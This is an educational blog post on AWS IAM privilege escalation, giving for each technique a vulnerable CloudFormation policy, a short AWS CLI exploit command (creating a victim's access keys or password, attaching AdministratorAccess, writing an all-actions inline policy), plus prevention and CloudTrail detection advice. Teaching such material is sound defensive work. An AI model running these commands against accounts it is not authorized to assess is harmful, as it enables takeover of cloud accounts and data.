AWS IAM Privilege Escalation Techniques
How attackers abuse IAM permissions like iam:CreateAccessKey and iam:AttachUserPolicy to escalate privileges in AWS, with example policies, exploits, and fixes.
An IAM privilege escalation (PrivEsc) happens when an identity with limited permissions uses one of those permissions to give itself, or a principal it controls, more access. Most of them come down to a single overly broad IAM permission, often granted with Resource: '*'.
This post walks through the most common IAM privilege escalation techniques in AWS. For each one, you'll find an example vulnerable policy, an example exploit, the impact, and how to prevent it. Only test these in environments you own or are authorized to assess.
iam:CreateAccessKey
Example vulnerable policy
Operations:
Type: AWS::IAM::Group
Properties:
GroupName: Operations
Policies:
- PolicyName: OperationsPolicy
PolicyDocument:
Version: '2012-10-17'
Statement:
- Effect: Allow
Action:
- "iam:CreateAccessKey"
Resource: '*'
Users in this Operations group have access to create access keys for all users in this AWS environment because of Resource: '*', even for administrators.
Example exploit
aws iam create-access-key \
--user-name <victim-username> \
--output text | tee creds.txt
This fails if the target user already has two access keys, which is the IAM limit. An attacker who also has iam:DeleteAccessKey could delete one first, but that's noisy.
This will output the access key and you can always retrieve with:
cat creds.txt
Try it yourself in our hands-on lab.
Impact
The potential impact of this attack is anything from getting access to a low-privileged IAM user all the way to gaining admin privileges, depending on which user the threat actor is able to create access keys for.
How to prevent
Prevent the creation of any new keys in all of your AWS environments with SCPs. This can be a drastic solution for some organizations who still rely on long-term access keys, however, it is a good goal to strive towards as outlined here.
For organizations who simply can't yet get rid of long-term access keys, recommendations are to:
- Limit access key creation to higher privileged users only, or
- Ensure that users can only create keys for their own users
This issue is primarily a concern when 1 user has iam:CreateAccessKey permissions for another user as well.
iam:CreateLoginProfile
Example vulnerable policy
Operations:
Type: AWS::IAM::Group
Properties:
GroupName: Operations
Policies:
- PolicyName: OperationsPolicy
PolicyDocument:
Version: '2012-10-17'
Statement:
- Effect: Allow
Action:
- "iam:CreateLoginProfile"
Resource: 'arn:aws:iam::123456789012:user/*'
Users in this Operations group have access to create login profiles with whatever password they want (within the AWS account's password policy allowance) for all users in this AWS environment because of Resource: 'arn:aws:iam::123456789012:user/*', even for administrators.
Example exploit
aws iam create-login-profile --user-name <victim-username> \
--password '<arbitrary-password-here>' \
--no-password-reset-required
Which returns:
{
"LoginProfile": {
"UserName": "<victim-username>",
"CreateDate": "2023-11-30T21:46:56+00:00",
"PasswordResetRequired": false
}
}
Note that this action will only work if the IAM user does not already have a login profile. Otherwise, you can try to use iam:UpdateLoginProfile.
Try it yourself in our hands-on lab.
Impact
The potential impact of this attack is anything from getting access to a low-privileged IAM user all the way to gaining admin privileges, depending on which user the threat actor is able to create a login profile for.
How to prevent
The best way to prevent this issue is to stop using IAM Users altogether and instead use IAM Identity Center. This can take time to implement, however. As an alternative, if you have to grant this permission, make sure it only gives users the ability to create their own login profile only (unless they're an admin user who's meant to be able to do this).
iam:UpdateLoginProfile
Exactly the same details as the above iam:CreateLoginProfile except the permission is iam:UpdateLoginProfile and the command is different:
aws iam update-login-profile --user-name <victim-username> \
--password '<arbitrary-password-here>' \
--no-password-reset-required
Try it yourself in our hands-on lab.
iam:SetDefaultPolicyVersion
Example vulnerable policy
DevelopersManagedPolicy:
Type: AWS::IAM::ManagedPolicy
Properties:
ManagedPolicyName: DevelopersPolicy
PolicyDocument:
Version: '2012-10-17'
Statement:
- Effect: Allow
Action:
- "iam:Get*"
- "iam:List*"
- "iam:SetDefaultPolicyVersion"
Resource:
- 'arn:aws:iam::123456789012:user/name'
- 'arn:aws:iam::123456789012:policy/name'
Users with this policy will have access to roll back their policy versions to a prior version. When you make changes to managed policies, by default, AWS will create a new version and keep prior versions (IAM stores up to five versions of a customer managed policy, including the default). With the iam:SetDefaultPolicyVersion access, a user is able to change the currently active policy version, which can lead to PrivEsc.
For example, let's say that you create a new user and you create a new managed policy for that user (or group of users). To start, you give that managed policy full admin access, and then you go back and modify the permissions to be much more restrictive. That policy will now have a v1 and v2: v1 grants full admin privileges but is no longer the active version, and v2 is the restrictive default. The user realizes this, and they realize they have iam:SetDefaultPolicyVersion access, so they could set v1 as their currently active (default) policy version, which would grant them admin privileges again.
Example exploit
aws iam set-default-policy-version \
--policy-arn arn:aws:iam::123456789012:policy/cg-raynor-policy-iam_privesc_by_rollback_cgidky1t7bwmv8 \
--version-id v1
For more information, view this free lab from CloudGoat, and our hands-on lab.
Impact
The potential impact of this attack is anything from no change in permissions, minor changes in permissions, or gaining admin privileges, depending on what policy versions the user has access to restore.
How to prevent
The best way to prevent this issue is to stop using IAM Users altogether and instead use IAM Identity Center. This can take time to implement, however. As an alternative, block access to this action for most users except for admin users, and even then, consider the implications.
iam:AddUserToGroup
Example vulnerable policy
SeniorDeveloper:
Type: AWS::IAM::User
Properties:
UserName: SeniorDev
Policies:
- PolicyName: senior-manager-policy
PolicyDocument:
Version: '2012-10-17'
Statement:
- Effect: Allow
Action:
- "iam:AddUserToGroup"
Resource:
- 'arn:aws:iam::123456789012:group/division_it/engineering/*'
Developers:
Type: AWS::IAM::Group
Properties:
GroupName: Developers
Path: '/division_it/engineering/development/'
Policies:
- PolicyName: developers-policy
PolicyDocument:
Version: '2012-10-17'
Statement:
- Effect: Allow
Action:
- "whatever-actions-here"
Resource: '*'
SecretsManagementGroup:
Type: AWS::IAM::Group
Properties:
GroupName: SecretsManagement
Path: '/division_it/engineering/secrets/'
Policies:
- PolicyName: secrets-management-policy
PolicyDocument:
Version: '2012-10-17'
Statement:
- Effect: Allow
Action:
- secretsmanager:whatever-actions-here
Resource: !Sub "arn:aws:secretsmanager:us-east-1:123456789012:secret:some-secret-value-here"
- Effect: Allow
Action: secretsmanager:ListSecrets
Resource: "*"
In this scenario, let's say that the SeniorDev user is part of the Developers group but not the SecretsManagementGroup. However, she has an inline policy granting her access to iam:AddUserToGroup to the resource ARN: arn:aws:iam::123456789012:group/division_it/engineering/*
The Developers group path is '/division_it/engineering/development/'
The SecretsManagementGroup group path is '/division_it/engineering/secrets/'
Because the SeniorDev resource ARN value has a * after the /division_it/engineering/, that includes the SecretsManagementGroup which is an entirely different team/group that she's not supposed to be able to access. But because she can add users to that group, she can add herself or another user to the SecretsManagementGroup and gain access to the secret value with this ARN: arn:aws:secretsmanager123456789012:secret:some-secret-value-here.
Example exploit
aws iam add-user-to-group \
--group-name SecretsManagement \
--user-name SeniorDev
Try it yourself in our hands-on lab.
Impact
The potential impact of this attack is anything from no change in permissions, minor changes in permissions, or gaining admin privileges, depending on what group(s) the user is able to add themselves or others to.
How to prevent
The best way to prevent this issue is to stop using IAM Users altogether and instead use IAM Identity Center. This can be a big step for some organizations, however. As an alternative, make sure that the resource ARN for which group a user can add users to is very specific! Avoid using * when possible.
iam:AttachUserPolicy
Example vulnerable policy
SeniorDeveloper:
Type: AWS::IAM::User
Properties:
UserName: SeniorDev
Policies:
- PolicyName: senior-manager
PolicyDocument:
Version: '2012-10-17'
Statement:
- Effect: Allow
Action:
- "iam:AttachUserPolicy"
Resource:
- 'arn:aws:iam::123456789012:user/*'
In this scenario, the SeniorDev user has iam:AttachUserPolicy privileges, for the resource ARN of 'arn:aws:iam::123456789012:user/*'.
This is a very broad resource set, since it’s essentially granting access to AttachUserPolicy on all users within this AWS account! That includes your own user. However, it could be an even more specific ARN like arn:aws:iam::123456789012:user/seniordev, and this would still apply.
The danger of AttachUserPolicy is that it was designed to attach managed policies, including AWS managed policies. That’s a lot of potential policies, some of which grant admin-level permissions! (Example). This means our not-so-friendly SeniorDev can grant themselves full admin privileges.
Example exploit
aws iam attach-user-policy \
--user-name SeniorDev \
--policy-arn arn:aws:iam::aws:policy/AdministratorAccess
Try it yourself in our hands-on lab.
Impact
The potential impact of this attack is anything from no change in permissions, minor changes in permissions, or gaining admin privileges, depending on what managed policy they attach to themselves or other users in the account.
How to prevent
Avoid granting this policy unless it's for very specific use cases, in which case you would also want to restrict which managed policies the user is able to attach with a condition such as "Condition": {"ArnEquals": {"iam:PolicyARN": ["arn:aws:iam::123456789012:policy/ApprovedPolicy"]}}. Permissions boundaries can also cap the user's effective permissions, as long as you deny them the ability to change or remove their own boundary.
iam:AttachGroupPolicy
Example vulnerable policy
DevelopersManagedPolicy:
Type: AWS::IAM::ManagedPolicy
Properties:
ManagedPolicyName: DevelopersPolicy
PolicyDocument:
Version: '2012-10-17'
Statement:
- Effect: Allow
Action:
- "iam:AttachGroupPolicy"
Resource:
- 'arn:aws:iam::123456789012:group/division_it/engineering/*'
In this scenario, whoever is part of this /division_it/engineering/ group has the iam:AttachGroupPolicy privileges for groups within that path.
This is a very broad resource set and a very dangerous permission to apply without boundaries, since it's essentially granting access to attach any policy to the group. Anyone assigned to that group would then receive those permissions.
The danger of AttachGroupPolicy is that it was designed to attach managed policies, including AWS managed policies. That’s a lot of potential policies, some of which grant admin-level permissions! (Example).
Example exploit
aws iam attach-group-policy \
--group-name <group-name> \
--policy-arn arn:aws:iam::aws:policy/AdministratorAccess
Try it yourself in our hands-on lab.
Impact
The potential impact of this attack is anything from no change in permissions, minor changes in permissions, or gaining admin privileges, depending on what managed policy they attach to the group and who has access to that group.
How to prevent
Avoid granting this policy unless it's for very specific use cases, in which case you would also want to restrict which managed policies the user is able to attach with a condition such as "Condition": {"ArnEquals": {"iam:PolicyARN": ["arn:aws:iam::123456789012:policy/ApprovedPolicy"]}}. Permissions boundaries can also cap the user's effective permissions, as long as you deny them the ability to change or remove their own boundary.
iam:PutUserPolicy
This permission lets a user create or update an inline policy on a user. If the resource isn't restricted, an attacker can write an inline policy that grants themselves (or any other user) full admin access.
aws iam put-user-policy \
--user-name <your-username> \
--policy-name privesc \
--policy-document '{"Version":"2012-10-17","Statement":[{"Effect":"Allow","Action":"*","Resource":"*"}]}'
Try it yourself in our hands-on lab.
Impact
Full admin access, since the attacker writes the policy themselves.
How to prevent
Only grant iam:PutUserPolicy to administrators, and never with Resource: '*'. Prefer managed policies over inline policies, and use permissions boundaries when you need to delegate IAM administration.
iam:PutGroupPolicy
The group version of iam:PutUserPolicy: it lets a user create or update an inline policy on a group. If the attacker belongs to a group they can write policies for, they can grant that group, and therefore themselves, admin access.
Try it yourself in our hands-on lab.
Impact
Full admin access for every member of the group.
How to prevent
Same as iam:PutUserPolicy: restrict it to administrators, scope the Resource to specific groups, and use permissions boundaries when delegating.
iam:AttachRolePolicy
This permission lets a principal attach a managed policy to a role. An attacker who can assume a role (or who is running as that role, for example from a compromised EC2 instance or Lambda function) and can attach policies to it can attach AdministratorAccess:
aws iam attach-role-policy \
--role-name <role-name> \
--policy-arn arn:aws:iam::aws:policy/AdministratorAccess
This is the technique used in the large-scale extortion campaign described in our real-world case studies. Try it yourself in our hands-on lab.
Impact
Anything from minor changes to full admin access, depending on which managed policies the attacker can attach.
How to prevent
Don't grant iam:AttachRolePolicy to roles used by workloads. Where you have to delegate it, scope the Resource to specific roles, use the iam:PolicyARN condition key to limit which policies can be attached, and require a permissions boundary on the role.
iam:PutRolePolicy
The inline-policy version of iam:AttachRolePolicy: it lets a principal create or update an inline policy on a role, so the attacker can write whatever permissions they want into a role they can use.
Try it yourself in our hands-on lab.
Impact
Full admin access for anyone who can use the role.
How to prevent
Restrict it to administrators, scope the Resource to specific roles, and use permissions boundaries when delegating role management.
iam:DeactivateMFADevice
This permission lets a principal deactivate a user's MFA device. On its own it doesn't grant new permissions, but it removes a layer of protection. Combined with a password the attacker already has (or can set with iam:UpdateLoginProfile), it can let them sign in as the victim, and it breaks any policy or trust policy that relies on aws:MultiFactorAuthPresent.
Impact
Loss of MFA protection on the targeted users, which can turn other weaknesses into full account takeover.
How to prevent
Only let users manage their own MFA devices, using a ${aws:username} resource condition, and only allow iam:DeactivateMFADevice when the request itself was made with MFA. Alert on DeactivateMFADevice events in CloudTrail.
How to detect these PrivEscs in your environments
Every technique on this page is an IAM API call, so each one shows up in AWS CloudTrail with an eventSource of iam.amazonaws.com and an eventName that matches the action, like CreateAccessKey, AttachUserPolicy, or PutRolePolicy. Alert on those events, especially when the caller is changing permissions for someone other than themselves or when they come from an unusual identity. Amazon GuardDuty also flags some of these patterns as suspicious IAM activity.
For a list of IAM events (and more) worth alerting on, see AWS CloudTrail events to monitor and alert on. To practice finding these attacks in logs, see AWS Detection Engineering with Grimoire.
Additional resources
- Learn most of these PrivEscs hands-on in our IAM Privilege Escalation Labs course, and follow the AWS IAM Privilege Escalation Learning Path.
- Before you escalate, you enumerate: see AWS IAM enumeration CLI commands.

Comments
Loading comments…